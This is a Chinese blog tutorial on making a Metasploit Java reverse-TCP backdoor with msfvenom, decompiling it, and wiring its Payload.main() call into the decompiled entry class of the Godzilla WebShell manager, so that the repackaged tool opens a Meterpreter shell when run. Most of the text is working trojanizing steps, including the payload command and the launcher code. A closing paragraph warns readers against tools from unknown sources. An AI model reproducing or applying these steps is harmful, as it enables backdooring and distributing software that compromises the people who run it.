Java 反编译是分析 Java 程序的基本手段,也是对一些 Java 程序二次开发的基本前提,可用于反编译的工具有很多,比如 JD-GUI,CRF 等,个人比较常用的是 IntelliJ IDEA 自带的反编译功能,其功能足够强大,能够完成大多数需求。
本文简单介绍通过反编译 MSF 生成 java 后门和 WebShell 管理工具哥斯拉,并用最简单的方式将后门加入哥斯拉中。
MSF 的 Java 后门
MSF 提供了多种类型的后门,我们可以生成一个恶意的 jar 包,此处作为演示就使用最简单且没有经过加密处理的后门。
msfvenom --payload="java/meterpreter/reverse_tcp" LHOST=127.0.0.1 LPORT=9999 -f jar > java_shell.jar
打开的 Jar 包可以看到,其中有个 metasploit.bat,里面的 HOST 就是 MSF 控制端的 IP,这样就可以通过修改这个文件来修改服务端的 IP,而无需修改生成的 class 文件。
使用 IntelliJ IDEA 中内置的 java-decompiler.jar 进行反编译,该工具在%IntelliJ IDEA 的安装路径 %\plugins\java-decompiler\lib\
下。
java -cp java-decompiler.jar org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dsg=true 目标jar文件 输出路径
得到反编译后的文件,用 IntelliJ IDEA 新建一个普通的 Java 项目,将反编译的文件加入项目文件中,目的是为了全局搜索关键字定位代码位置。并在 src 文件中创建新的代码,此处将 Payload.java 复制一份,进行调试,观察代码流程。如下图所示,会将 Payload.class 和 metasploit.dat 缓存进 Temp 目录,然后通过 Runtime 来调用 java 进程来执行缓存的 Payload.class 类,这样一来 shell 就独立于当前进程在执行。
也正因如此,Payload.class 需要保持它原有的 Main 方法作为调用的入口,所以在其他程序中,可以通过调用 main 方法来执行 shell。
package core;
import metasploit.Payload;
public class RunShell {
public static void main(String[] args) throws Exception {
Payload.main(new String[]{"shell"});
}
}
将后门加入哥斯拉
根据同样的方法对哥斯拉进行反编译,与之前不同的是将哥斯拉原本的Jar文件作为依赖添加进项目,这样做的好处在于不需要对全部的源码进行修改,只需在 src 文件中创建想要修改的文件,进行修改后再打包便可以完成改动。由于反编译出来的代码会存在各种问题,面对一片爆红的错误就要费很多时间进行修改,因此对反编译的源码进行修改的时候,尽可能的不改动过多文件。另外创建普通的 Java 项目就好,如果创建 Maven 项目,可能会在获取资源文件上存在一些路径上的问题。
查看 MANIFEST.MF 文件,看到入口类是core.ui.MainActivity
,将其复制一份,并将后门文件也复制进项目文件。(metasploit.bat 文件也要),然后在 MainActivity 类中的 main 方法中调用 Payload.main() 即可。
重新打包以后,执行后就会反弹一个 MSFshell。
最后
以一个简单的小例子介绍了如何使用反编译对 Jar 项目进行源码修改,也由此可见在一些工具中加入后门是轻而易举的事情。而从 GitHub 上下载来的哥斯拉火狐浏览器就会报毒,而为了使用它以及对作者的信任我们自然而然的会选择信任该程序。那么此时,通过其他渠道下载有后门的哥斯拉同样报毒,你是否又会选择相信?
总之,尽可能不使用来路不明的工具!!!